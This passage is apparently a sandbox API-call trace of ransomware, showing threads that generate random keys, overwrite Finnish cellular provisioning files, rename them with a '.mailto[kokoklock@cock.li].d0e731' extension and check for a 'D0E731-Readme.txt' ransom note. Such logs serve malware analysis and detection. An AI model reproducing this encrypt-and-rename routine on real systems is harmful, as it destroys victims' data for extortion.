lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2e13fa3c*=0x6c, lpOverlapped=0x0) returned 1 [0086.696] WriteFile (in: hFile=0x3d0, lpBuffer=0x55ddf10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2e13fa3c, lpOverlapped=0x0 | out: lpBuffer=0x55ddf10*, lpNumberOfBytesWritten=0x2e13fa3c*=0x20, lpOverlapped=0x0) returned 1 [0086.696] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e13fa3c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2e13fa3c*=0x4, lpOverlapped=0x0) returned 1 [0086.696] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddf10) returned 1 [0086.696] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddec0) returned 1 [0086.696] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddee8) returned 1 [0086.696] CloseHandle (hObject=0x3d0) returned 1 [0086.696] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x1a2) returned 0x33fc9c8 [0086.696] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml" [0086.696] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0086.696] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\132__connections_cellular_go communication ltd. (finland)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\132__connections_cellular_go communication ltd. (finland)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.697] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.697] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0086.697] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0086.697] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a9c8 [0086.697] wcscpy (in: _Dest=0x348a9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0086.697] wcscat (in: _Dest=0x348a9c8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0086.697] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0086.698] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a9c8) returned 1 [0086.698] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c720) returned 1 [0086.698] RtlExitUserThread (Status=0x1) Thread: id = 1322 os_tid = 0x1260 [0086.698] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\133__connections_cellular_tdc song finland (finland)_i0$(__mvid)@wap.provxml")) returned 0x20 [0086.699] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0086.699] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\133__connections_cellular_tdc song finland (finland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0086.699] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2e1bfca0 | out: lpFileSize=0x2e1bfca0*=660) returned 1 [0086.699] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x290, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.699] ReadFile (in: hFile=0x3d0, lpBuffer=0x2e1bfc74, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e1bfc70, lpOverlapped=0x0 | out: lpBuffer=0x2e1bfc74*, lpNumberOfBytesRead=0x2e1bfc70*=0x4, lpOverlapped=0x0) returned 1 [0086.700] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.701] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dde70 [0086.701] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddec0 [0086.701] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddee8 [0086.701] NtQuerySystemTime (in: CurrentTime=0x2e1bfc4c | out: CurrentTime=0x2e1bfc4c*=132121176446016347) returned 0x0 [0086.701] RtlRandom (in: Seed=0x2e1bfc58 | out: Seed=0x2e1bfc58) returned 0x733acf48 [0086.701] RtlRandom (in: Seed=0x2e1bfc58 | out: Seed=0x2e1bfc58) returned 0x6e17cda7 [0086.701] RtlRandom (in: Seed=0x2e1bfc58 | out: Seed=0x2e1bfc58) returned 0x328e8b9 [0086.701] RtlRandom (in: Seed=0x2e1bfc58 | out: Seed=0x2e1bfc58) returned 0xebe9081b [0086.701] RtlRandom (in: Seed=0x2e1bfc58 | out: Seed=0x2e1bfc58) returned 0xc37c8b83 [0086.701] RtlRandom (in: Seed=0x2e1bfc58 | out: Seed=0x2e1bfc58) returned 0x7aa793c5 [0086.701] RtlRandom (in: Seed=0x2e1bfc58 | out: Seed=0x2e1bfc58) returned 0x5c6bfc48 [0086.701] RtlRandom (in: Seed=0x2e1bfc58 | out: Seed=0x2e1bfc58) returned 0xa7a76381 [0086.701] RtlRandom (in: Seed=0x2e1bfc58 | out: Seed=0x2e1bfc58) returned 0x6fe34bdc [0086.701] RtlRandom (in: Seed=0x2e1bfc58 | out: Seed=0x2e1bfc58) returned 0x9461e893 [0086.701] RtlRandom (in: Seed=0x2e1bfc58 | out: Seed=0x2e1bfc58) returned 0xd2f516af [0086.701] RtlRandom (in: Seed=0x2e1bfc58 | out: Seed=0x2e1bfc58) returned 0x52b17a73 [0086.701] RtlRandom (in: Seed=0x2e1bfc58 | out: Seed=0x2e1bfc58) returned 0x48651fe5 [0086.701] RtlRandom (in: Seed=0x2e1bfc58 | out: Seed=0x2e1bfc58) returned 0x19a566e1 [0086.701] RtlRandom (in: Seed=0x2e1bfc58 | out: Seed=0x2e1bfc58) returned 0xd535c654 [0086.701] RtlRandom (in: Seed=0x2e1bfc58 | out: Seed=0x2e1bfc58) returned 0x7955612e [0086.701] RtlRandom (in: Seed=0x2e1bfc58 | out: Seed=0x2e1bfc58) returned 0x563d2af [0086.701] RtlRandom (in: Seed=0x2e1bfc58 | out: Seed=0x2e1bfc58) returned 0x9999417 [0086.701] RtlRandom (in: Seed=0x2e1bfc58 | out: Seed=0x2e1bfc58) returned 0xf406ba1e [0086.701] RtlRandom (in: Seed=0x2e1bfc58 | out: Seed=0x2e1bfc58) returned 0x615f5566 [0086.701] RtlRandom (in: Seed=0x2e1bfc58 | out: Seed=0x2e1bfc58) returned 0xfeb7b7a [0086.701] RtlRandom (in: Seed=0x2e1bfc58 | out: Seed=0x2e1bfc58) returned 0xdd989d64 [0086.701] RtlRandom (in: Seed=0x2e1bfc58 | out: Seed=0x2e1bfc58) returned 0x9b8f3ff5 [0086.701] RtlRandom (in: Seed=0x2e1bfc58 | out: Seed=0x2e1bfc58) returned 0x2e1a0593 [0086.701] RtlRandom (in: Seed=0x2e1bfc58 | out: Seed=0x2e1bfc58) returned 0x470bcb9e [0086.701] RtlRandom (in: Seed=0x2e1bfc58 | out: Seed=0x2e1bfc58) returned 0xcef3804c [0086.701] RtlRandom (in: Seed=0x2e1bfc58 | out: Seed=0x2e1bfc58) returned 0x8050dc05 [0086.701] RtlRandom (in: Seed=0x2e1bfc58 | out: Seed=0x2e1bfc58) returned 0xb4a00303 [0086.701] RtlRandom (in: Seed=0x2e1bfc58 | out: Seed=0x2e1bfc58) returned 0x812029ac [0086.702] RtlRandom (in: Seed=0x2e1bfc58 | out: Seed=0x2e1bfc58) returned 0xc0e353f7 [0086.702] RtlRandom (in: Seed=0x2e1bfc58 | out: Seed=0x2e1bfc58) returned 0xee90af5e [0086.702] RtlRandom (in: Seed=0x2e1bfc58 | out: Seed=0x2e1bfc58) returned 0x958b4b46 [0086.713] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x294, lpNumberOfBytesRead=0x2e1bfc4c, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2e1bfc4c*=0x294, lpOverlapped=0x0) returned 1 [0086.713] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e1bfc14 | out: lpNewFilePointer=0x0) returned 1 [0086.713] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x294, lpNumberOfBytesWritten=0x2e1bfc48, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2e1bfc48*=0x294, lpOverlapped=0x0) returned 1 [0086.713] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dda60 [0086.713] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddab0 [0086.713] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddab0) returned 1 [0086.713] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dda60*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2e1bfc44, lpOverlapped=0x0 | out: lpBuffer=0x55dda60*, lpNumberOfBytesWritten=0x2e1bfc44*=0x20, lpOverlapped=0x0) returned 1 [0086.713] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dda60) returned 1 [0086.713] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0086.713] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0086.713] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0086.713] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0086.713] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dda38*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1bfc70, lpOverlapped=0x0 | out: lpBuffer=0x55dda38*, lpNumberOfBytesWritten=0x2e1bfc70*=0x8, lpOverlapped=0x0) returned 1 [0086.713] WriteFile (in: hFile=0x3d0, lpBuffer=0x2e1bfc88*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e1bfc70, lpOverlapped=0x0 | out: lpBuffer=0x2e1bfc88*, lpNumberOfBytesWritten=0x2e1bfc70*=0x4, lpOverlapped=0x0) returned 1 [0086.714] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e1bfc70, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2e1bfc70*=0x4, lpOverlapped=0x0) returned 1 [0086.714] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2e1bfc70, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2e1bfc70*=0x6c, lpOverlapped=0x0) returned 1 [0086.714] WriteFile (in: hFile=0x3d0, lpBuffer=0x55ddec0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2e1bfc70, lpOverlapped=0x0 | out: lpBuffer=0x55ddec0*, lpNumberOfBytesWritten=0x2e1bfc70*=0x20, lpOverlapped=0x0) returned 1 [0086.714] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e1bfc70, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2e1bfc70*=0x4, lpOverlapped=0x0) returned 1 [0086.714] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddec0) returned 1 [0086.714] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddf10) returned 1 [0086.714] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dda38) returned 1 [0086.714] CloseHandle (hObject=0x3d0) returned 1 [0086.714] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x198) returned 0x33fc9c8 [0086.714] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml" [0086.714] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0086.714] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\133__connections_cellular_tdc song finland (finland)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\133__connections_cellular_tdc song finland (finland)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.715] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.715] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0086.715] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0086.715] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0086.715] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0086.715] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0086.715] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0086.715] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0086.716] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bbe0) returned 1 [0086.716] RtlExitUserThread (Status=0x1) Thread: id = 1323 os_tid = 0x1264 [0086.717] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\134__connections_cellular_sonera (finland)_i0$(__mvid)@wap.provxml")) returned 0x20 [0086.718] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0086.718] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\134__connections_cellular_sonera (finland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0086.718] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2e23f8ec | out: lpFileSize=0x2e23f8ec*=642) returned 1 [0086.718] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x27e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.718] ReadFile (in: hFile=0x3d0, lpBuffer=0x2e23f8c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e23f8bc, lpOverlapped=0x0 | out: lpBuffer=0x2e23f8c0*, lpNumberOfBytesRead=0x2e23f8bc*=0x4, lpOverlapped=0x0) returned 1 [0086.720] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.720] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dde70 [0086.720] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddec0 [0086.720] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddf10 [0086.720] NtQuerySystemTime (in: CurrentTime=0x2e23f898 | out: CurrentTime=0x2e23f898*=132121176446173194) returned 0x0 [0086.720] RtlRandom (in: Seed=0x2e23f8a4 | out: Seed=0x2e23f8a4) returned 0x97a08a86 [0086.720] RtlRandom (in: Seed=0x2e23f8a4 | out: Seed=0x2e23f8a4) returned 0xe6478f4c [0086.720] RtlRandom (in: Seed=0x2e23f8a4 | out: Seed=0x2e23f8a4) returned 0xdd84102f [0086.720] RtlRandom (in: Seed=0x2e23f8a4 | out: Seed=0x2e23f8a4) returned 0x25255968 [0086.720] RtlRandom (in: Seed=0x2e23f8a4 | out: Seed=0x2e23f8a4) returned 0xde06dbc1 [0086.720] RtlRandom (in: Seed=0x2e23f8a4 | out: Seed=0x2e23f8a4) returned 0xe1c24fc8 [0086.720] RtlRandom (in: Seed=0x2e23f8a4 | out: Seed=0x2e23f8a4) returned 0xf351bb82 [0086.720] RtlRandom (in: Seed=0x2e23f8a4 | out: Seed=0x2e23f8a4) returned 0xe41a039f [0086.720] RtlRandom (in: Seed=0x2e23f8a4 | out: Seed=0x2e23f8a4) returned 0xf5f37ac7 [0086.720] RtlRandom (in: Seed=0x2e23f8a4 | out: Seed=0x2e23f8a4) returned 0x3ba8d9bc [0086.720] RtlRandom (in: Seed=0x2e23f8a4 | out: Seed=0x2e23f8a4) returned 0xc366ea5c [0086.720] RtlRandom (in: Seed=0x2e23f8a4 | out: Seed=0x2e23f8a4) returned 0xd65accfb [0086.720] RtlRandom (in: Seed=0x2e23f8a4 | out: Seed=0x2e23f8a4) returned 0x868d8d2e [0086.720] RtlRandom (in: Seed=0x2e23f8a4 | out: Seed=0x2e23f8a4) returned 0x4cc67ed5 [0086.720] RtlRandom (in: Seed=0x2e23f8a4 | out: Seed=0x2e23f8a4) returned 0xba778f18 [0086.720] RtlRandom (in: Seed=0x2e23f8a4 | out: Seed=0x2e23f8a4) returned 0xe161efab [0086.720] RtlRandom (in: Seed=0x2e23f8a4 | out: Seed=0x2e23f8a4) returned 0x395705e9 [0086.720] RtlRandom (in: Seed=0x2e23f8a4 | out: Seed=0x2e23f8a4) returned 0xe5c85607 [0086.721] RtlRandom (in: Seed=0x2e23f8a4 | out: Seed=0x2e23f8a4) returned 0x36b8662d [0086.721] RtlRandom (in: Seed=0x2e23f8a4 | out: Seed=0x2e23f8a4) returned 0xa339966c [0086.721] RtlRandom (in: Seed=0x2e23f8a4 | out: Seed=0x2e23f8a4) returned 0x3bfa2141 [0086.721] RtlRandom (in: Seed=0x2e23f8a4 | out: Seed=0x2e23f8a4) returned 0xf7f5f847 [0086.721] RtlRandom (in: Seed=0x2e23f8a4 | out: Seed=0x2e23f8a4) returned 0xf96dbda4 [0086.721] RtlRandom (in: Seed=0x2e23f8a4 | out: Seed=0x2e23f8a4) returned 0xcdb924a0 [0086.721] RtlRandom (in: Seed=0x2e23f8a4 | out: Seed=0x2e23f8a4) returned 0x3800ca29 [0086.721] RtlRandom (in: Seed=0x2e23f8a4 | out: Seed=0x2e23f8a4) returned 0x556aa6b9 [0086.721] RtlRandom (in: Seed=0x2e23f8a4 | out: Seed=0x2e23f8a4) returned 0xb424b97 [0086.721] RtlRandom (in: Seed=0x2e23f8a4 | out: Seed=0x2e23f8a4) returned 0x7de64c3a [0086.721] RtlRandom (in: Seed=0x2e23f8a4 | out: Seed=0x2e23f8a4) returned 0x79096c1 [0086.721] RtlRandom (in: Seed=0x2e23f8a4 | out: Seed=0x2e23f8a4) returned 0xffdc6dd9 [0086.721] RtlRandom (in: Seed=0x2e23f8a4 | out: Seed=0x2e23f8a4) returned 0x3c3b16ef [0086.721] RtlRandom (in: Seed=0x2e23f8a4 | out: Seed=0x2e23f8a4) returned 0xb52635a2 [0086.731] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x282, lpNumberOfBytesRead=0x2e23f898, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2e23f898*=0x282, lpOverlapped=0x0) returned 1 [0086.731] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e23f860 | out: lpNewFilePointer=0x0) returned 1 [0086.732] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x282, lpNumberOfBytesWritten=0x2e23f894, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2e23f894*=0x282, lpOverlapped=0x0) returned 1 [0086.732] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dda88 [0086.732] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddab0 [0086.732] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddab0) returned 1 [0086.732] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dda88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2e23f890, lpOverlapped=0x0 | out: lpBuffer=0x55dda88*, lpNumberOfBytesWritten=0x2e23f890*=0x20, lpOverlapped=0x0) returned 1 [0086.732] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dda88) returned 1 [0086.732] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 